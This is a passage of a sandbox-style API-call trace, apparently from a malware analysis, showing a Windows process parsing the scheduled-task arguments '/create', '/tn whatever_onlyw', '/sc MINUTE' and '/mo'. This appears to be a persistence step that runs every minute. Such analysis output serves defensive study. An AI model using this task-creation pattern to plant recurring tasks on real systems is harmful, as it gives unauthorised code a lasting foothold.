dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.488] lstrlenW (lpString="ri") returned 2 [0128.488] GetThreadLocale () returned 0x409 [0128.488] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.488] lstrlenW (lpString="z") returned 1 [0128.488] GetThreadLocale () returned 0x409 [0128.488] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.488] lstrlenW (lpString="f") returned 1 [0128.488] GetThreadLocale () returned 0x409 [0128.488] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.488] lstrlenW (lpString="v1") returned 2 [0128.488] GetThreadLocale () returned 0x409 [0128.488] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.488] lstrlenW (lpString="xml") returned 3 [0128.488] GetThreadLocale () returned 0x409 [0128.488] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.488] lstrlenW (lpString="ec") returned 2 [0128.488] GetThreadLocale () returned 0x409 [0128.488] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.488] lstrlenW (lpString="rl") returned 2 [0128.488] GetThreadLocale () returned 0x409 [0128.488] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.488] lstrlenW (lpString="delay") returned 5 [0128.488] GetThreadLocale () returned 0x409 [0128.488] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.488] lstrlenW (lpString="np") returned 2 [0128.488] SetLastError (dwErrCode=0x0) [0128.488] SetLastError (dwErrCode=0x0) [0128.488] lstrlenW (lpString="/create") returned 7 [0128.488] lstrlenW (lpString="-/") returned 2 [0128.488] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.488] lstrlenW (lpString="create") returned 6 [0128.488] lstrlenW (lpString="create") returned 6 [0128.489] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.489] lstrlenW (lpString="create") returned 6 [0128.489] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.489] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|create|") returned 8 [0128.489] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|create|") returned 8 [0128.489] lstrlenW (lpString="|create|") returned 8 [0128.489] lstrlenW (lpString="|create|") returned 8 [0128.489] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0128.489] SetLastError (dwErrCode=0x0) [0128.489] SetLastError (dwErrCode=0x0) [0128.489] SetLastError (dwErrCode=0x0) [0128.489] lstrlenW (lpString="/tn") returned 3 [0128.489] lstrlenW (lpString="-/") returned 2 [0128.489] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.489] lstrlenW (lpString="create") returned 6 [0128.489] lstrlenW (lpString="create") returned 6 [0128.489] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.489] lstrlenW (lpString="tn") returned 2 [0128.489] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.489] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|create|") returned 8 [0128.492] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0128.492] lstrlenW (lpString="|create|") returned 8 [0128.492] lstrlenW (lpString="|tn|") returned 4 [0128.492] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0128.492] SetLastError (dwErrCode=0x490) [0128.492] lstrlenW (lpString="?") returned 1 [0128.492] lstrlenW (lpString="?") returned 1 [0128.492] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.492] lstrlenW (lpString="tn") returned 2 [0128.492] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.492] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|?|") returned 3 [0128.492] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0128.492] lstrlenW (lpString="|?|") returned 3 [0128.492] lstrlenW (lpString="|tn|") returned 4 [0128.492] SetLastError (dwErrCode=0x490) [0128.493] lstrlenW (lpString="s") returned 1 [0128.493] lstrlenW (lpString="s") returned 1 [0128.493] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.493] lstrlenW (lpString="tn") returned 2 [0128.493] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.494] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|s|") returned 3 [0128.494] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0128.494] lstrlenW (lpString="|s|") returned 3 [0128.494] lstrlenW (lpString="|tn|") returned 4 [0128.494] SetLastError (dwErrCode=0x490) [0128.494] lstrlenW (lpString="u") returned 1 [0128.494] lstrlenW (lpString="u") returned 1 [0128.494] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.494] lstrlenW (lpString="tn") returned 2 [0128.494] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.494] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|u|") returned 3 [0128.494] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0128.494] lstrlenW (lpString="|u|") returned 3 [0128.494] lstrlenW (lpString="|tn|") returned 4 [0128.494] SetLastError (dwErrCode=0x490) [0128.494] lstrlenW (lpString="p") returned 1 [0128.494] lstrlenW (lpString="p") returned 1 [0128.494] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.494] lstrlenW (lpString="tn") returned 2 [0128.494] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.494] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|p|") returned 3 [0128.494] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0128.494] lstrlenW (lpString="|p|") returned 3 [0128.495] lstrlenW (lpString="|tn|") returned 4 [0128.495] SetLastError (dwErrCode=0x490) [0128.495] lstrlenW (lpString="ru") returned 2 [0128.495] lstrlenW (lpString="ru") returned 2 [0128.495] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.495] lstrlenW (lpString="tn") returned 2 [0128.495] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.495] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ru|") returned 4 [0128.495] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0128.495] lstrlenW (lpString="|ru|") returned 4 [0128.495] lstrlenW (lpString="|tn|") returned 4 [0128.495] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0128.495] SetLastError (dwErrCode=0x490) [0128.495] lstrlenW (lpString="rp") returned 2 [0128.495] lstrlenW (lpString="rp") returned 2 [0128.495] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.495] lstrlenW (lpString="tn") returned 2 [0128.495] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.495] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rp|") returned 4 [0128.495] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0128.495] lstrlenW (lpString="|rp|") returned 4 [0128.495] lstrlenW (lpString="|tn|") returned 4 [0128.495] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0128.495] SetLastError (dwErrCode=0x490) [0128.495] lstrlenW (lpString="sc") returned 2 [0128.495] lstrlenW (lpString="sc") returned 2 [0128.495] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.495] lstrlenW (lpString="tn") returned 2 [0128.496] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.496] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0128.496] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0128.496] lstrlenW (lpString="|sc|") returned 4 [0128.496] lstrlenW (lpString="|tn|") returned 4 [0128.496] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0128.496] SetLastError (dwErrCode=0x490) [0128.496] lstrlenW (lpString="mo") returned 2 [0128.496] lstrlenW (lpString="mo") returned 2 [0128.496] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.496] lstrlenW (lpString="tn") returned 2 [0128.496] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.496] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0128.496] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0128.496] lstrlenW (lpString="|mo|") returned 4 [0128.496] lstrlenW (lpString="|tn|") returned 4 [0128.496] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0128.496] SetLastError (dwErrCode=0x490) [0128.496] lstrlenW (lpString="d") returned 1 [0128.496] lstrlenW (lpString="d") returned 1 [0128.496] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.496] lstrlenW (lpString="tn") returned 2 [0128.496] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.496] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|d|") returned 3 [0128.496] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0128.496] lstrlenW (lpString="|d|") returned 3 [0128.496] lstrlenW (lpString="|tn|") returned 4 [0128.496] SetLastError (dwErrCode=0x490) [0128.496] lstrlenW (lpString="m") returned 1 [0128.496] lstrlenW (lpString="m") returned 1 [0128.496] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.497] lstrlenW (lpString="tn") returned 2 [0128.497] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.497] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|m|") returned 3 [0128.497] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0128.497] lstrlenW (lpString="|m|") returned 3 [0128.497] lstrlenW (lpString="|tn|") returned 4 [0128.497] SetLastError (dwErrCode=0x490) [0128.497] lstrlenW (lpString="i") returned 1 [0128.497] lstrlenW (lpString="i") returned 1 [0128.497] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.497] lstrlenW (lpString="tn") returned 2 [0128.497] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.497] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|i|") returned 3 [0128.497] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0128.497] lstrlenW (lpString="|i|") returned 3 [0128.497] lstrlenW (lpString="|tn|") returned 4 [0128.497] SetLastError (dwErrCode=0x490) [0128.497] lstrlenW (lpString="tn") returned 2 [0128.497] lstrlenW (lpString="tn") returned 2 [0128.497] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.497] lstrlenW (lpString="tn") returned 2 [0128.497] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.497] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0128.497] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0128.497] lstrlenW (lpString="|tn|") returned 4 [0128.498] lstrlenW (lpString="|tn|") returned 4 [0128.498] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0128.498] SetLastError (dwErrCode=0x0) [0128.498] SetLastError (dwErrCode=0x0) [0128.498] lstrlenW (lpString="whatever_onlyw") returned 14 [0128.498] lstrlenW (lpString="-/") returned 2 [0128.498] StrChrIW (lpStart="-/", wMatch=0x77) returned 0x0 [0128.498] SetLastError (dwErrCode=0x490) [0128.498] SetLastError (dwErrCode=0x490) [0128.498] SetLastError (dwErrCode=0x0) [0128.498] lstrlenW (lpString="whatever_onlyw") returned 14 [0128.498] StrChrIW (lpStart="whatever_onlyw", wMatch=0x3a) returned 0x0 [0128.498] SetLastError (dwErrCode=0x490) [0128.498] SetLastError (dwErrCode=0x0) [0128.498] lstrlenW (lpString="whatever_onlyw") returned 14 [0128.498] SetLastError (dwErrCode=0x0) [0128.498] SetLastError (dwErrCode=0x0) [0128.498] lstrlenW (lpString="/sc") returned 3 [0128.498] lstrlenW (lpString="-/") returned 2 [0128.498] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.498] lstrlenW (lpString="create") returned 6 [0128.498] lstrlenW (lpString="create") returned 6 [0128.498] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.498] lstrlenW (lpString="sc") returned 2 [0128.498] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.498] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|create|") returned 8 [0128.498] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0128.498] lstrlenW (lpString="|create|") returned 8 [0128.499] lstrlenW (lpString="|sc|") returned 4 [0128.499] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0128.499] SetLastError (dwErrCode=0x490) [0128.499] lstrlenW (lpString="?") returned 1 [0128.499] lstrlenW (lpString="?") returned 1 [0128.499] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.499] lstrlenW (lpString="sc") returned 2 [0128.499] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.499] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|?|") returned 3 [0128.499] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0128.499] lstrlenW (lpString="|?|") returned 3 [0128.499] lstrlenW (lpString="|sc|") returned 4 [0128.499] SetLastError (dwErrCode=0x490) [0128.499] lstrlenW (lpString="s") returned 1 [0128.499] lstrlenW (lpString="s") returned 1 [0128.499] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.499] lstrlenW (lpString="sc") returned 2 [0128.499] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.499] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|s|") returned 3 [0128.499] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0128.499] lstrlenW (lpString="|s|") returned 3 [0128.499] lstrlenW (lpString="|sc|") returned 4 [0128.499] SetLastError (dwErrCode=0x490) [0128.499] lstrlenW (lpString="u") returned 1 [0128.499] lstrlenW (lpString="u") returned 1 [0128.499] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.499] lstrlenW (lpString="sc") returned 2 [0128.500] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.500] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|u|") returned 3 [0128.500] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0128.500] lstrlenW (lpString="|u|") returned 3 [0128.500] lstrlenW (lpString="|sc|") returned 4 [0128.500] SetLastError (dwErrCode=0x490) [0128.500] lstrlenW (lpString="p") returned 1 [0128.500] lstrlenW (lpString="p") returned 1 [0128.500] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.500] lstrlenW (lpString="sc") returned 2 [0128.500] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.500] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|p|") returned 3 [0128.500] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0128.500] lstrlenW (lpString="|p|") returned 3 [0128.500] lstrlenW (lpString="|sc|") returned 4 [0128.500] SetLastError (dwErrCode=0x490) [0128.500] lstrlenW (lpString="ru") returned 2 [0128.500] lstrlenW (lpString="ru") returned 2 [0128.500] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.500] lstrlenW (lpString="sc") returned 2 [0128.500] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.500] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ru|") returned 4 [0128.500] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0128.500] lstrlenW (lpString="|ru|") returned 4 [0128.500] lstrlenW (lpString="|sc|") returned 4 [0128.500] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0128.501] SetLastError (dwErrCode=0x490) [0128.501] lstrlenW (lpString="rp") returned 2 [0128.501] lstrlenW (lpString="rp") returned 2 [0128.501] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.501] lstrlenW (lpString="sc") returned 2 [0128.501] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.501] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rp|") returned 4 [0128.501] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0128.501] lstrlenW (lpString="|rp|") returned 4 [0128.501] lstrlenW (lpString="|sc|") returned 4 [0128.501] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0128.501] SetLastError (dwErrCode=0x490) [0128.501] lstrlenW (lpString="sc") returned 2 [0128.501] lstrlenW (lpString="sc") returned 2 [0128.501] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.501] lstrlenW (lpString="sc") returned 2 [0128.501] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.501] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0128.501] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0128.501] lstrlenW (lpString="|sc|") returned 4 [0128.501] lstrlenW (lpString="|sc|") returned 4 [0128.501] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0128.501] SetLastError (dwErrCode=0x0) [0128.501] SetLastError (dwErrCode=0x0) [0128.501] lstrlenW (lpString="MINUTE") returned 6 [0128.501] lstrlenW (lpString="-/") returned 2 [0128.502] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0128.502] SetLastError (dwErrCode=0x490) [0128.502] SetLastError (dwErrCode=0x490) [0128.502] SetLastError (dwErrCode=0x0) [0128.502] lstrlenW (lpString="MINUTE") returned 6 [0128.502] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0128.502] SetLastError (dwErrCode=0x490) [0128.502] SetLastError (dwErrCode=0x0) [0128.502] GetProcessHeap () returned 0x470000 [0128.502] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x18) returned 0x48d540 [0128.502] _memicmp (_Buf1=0x48d540, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.502] lstrlenW (lpString="MINUTE") returned 6 [0128.502] GetProcessHeap () returned 0x470000 [0128.502] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0xe) returned 0x48d560 [0128.502] lstrlenW (lpString="MINUTE") returned 6 [0128.502] lstrlenW (lpString=" \x09") returned 2 [0128.502] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0128.502] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0128.502] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0128.502] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0128.502] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0128.502] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0128.502] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0128.502] GetLastError () returned 0x0 [0128.502] lstrlenW (lpString="MINUTE") returned 6 [0128.502] lstrlenW (lpString="MINUTE") returned 6 [0128.502] SetLastError (dwErrCode=0x0) [0128.502] SetLastError (dwErrCode=0x0) [0128.502] lstrlenW (lpString="/mo") returned 3 [0128.502] lstrlenW (lpString="-/") returned 2 [0128.503] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.503] lstrlenW (lpString="create") returned 6 [0128.503] lstrlenW (lpString="create") returned 6 [0128.503] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.503] lstrlenW (lpString="mo") returned 2 [0128.503] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.503] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|create|") returned 8 [0128.503] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0128.503] lstrlenW (lpString="|create|") returned 8 [0128.503] lstrlenW (lpString="|mo|") returned 4 [0128.503] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0128.503] SetLastError (dwErrCode=0x490) [0128.503] lstrlenW (lpString="?") returned 1 [0128.503] lstrlenW (lpString="?") returned 1 [0128.503] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.503] lstrlenW (lpString="mo") returned 2 [0128.503] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.503] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|?|") returned 3 [0128.503] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0128.503] lstrlenW (lpString="|?|") returned 3 [0128.503] lstrlenW (lpString="|mo|") returned 4 [0128.503] SetLastError (dwErrCode=0x490) [0128.503] lstrlenW (lpString="s") returned 1 [0128.503] lstrlenW (lpString="s") returned 1 [0128.503] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.504] lstrlenW (lpString="mo") returned 2 [0128.504] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.504] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|s|") returned 3 [0128.504] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0128.504] lstrlenW (lpString="|s|") returned 3 [0128.504] lstrlenW (lpString="|mo|") returned 4 [0128.504] SetLastError (dwErrCode=0x490) [0128.504] lstrlenW (lpString="u") returned 1 [0128.504] lstrlenW (lpString="u") returned 1 [0128.504] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.504] lstrlenW (lpString="mo") returned 2 [0128.504] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.504] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|u|") returned 3 [0128.504] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0128.504] lstrlenW (lpString="|u|") returned 3 [0128.504] lstrlenW (lpString="|mo|") returned 4 [0128.504] SetLastError (dwErrCode=0x490) [0128.504] lstrlenW (lpString="p") returned 1 [0128.504] lstrlenW (lpString="p") returned 1 [0128.504] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.504] lstrlenW (lpString="mo") returned 2 [0128.504] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.504] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|p|") returned 3 [0128.505] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0128.505] lstrlenW (lpString="|p|") returned 3 [0128.505] lstrlenW (lpString="|mo|") returned 4 [0128.505] SetLastError (dwErrCode=0x490) [0128.505] lstrlenW (lpString="ru") returned 2 [0128.505] lstrlenW (lpString="ru") returned 2 [0128.505] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.505] lstrlenW (lpString="mo") returned 2 [0128.505] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.505] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ru|") returned 4 [0128.505] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0128.506] 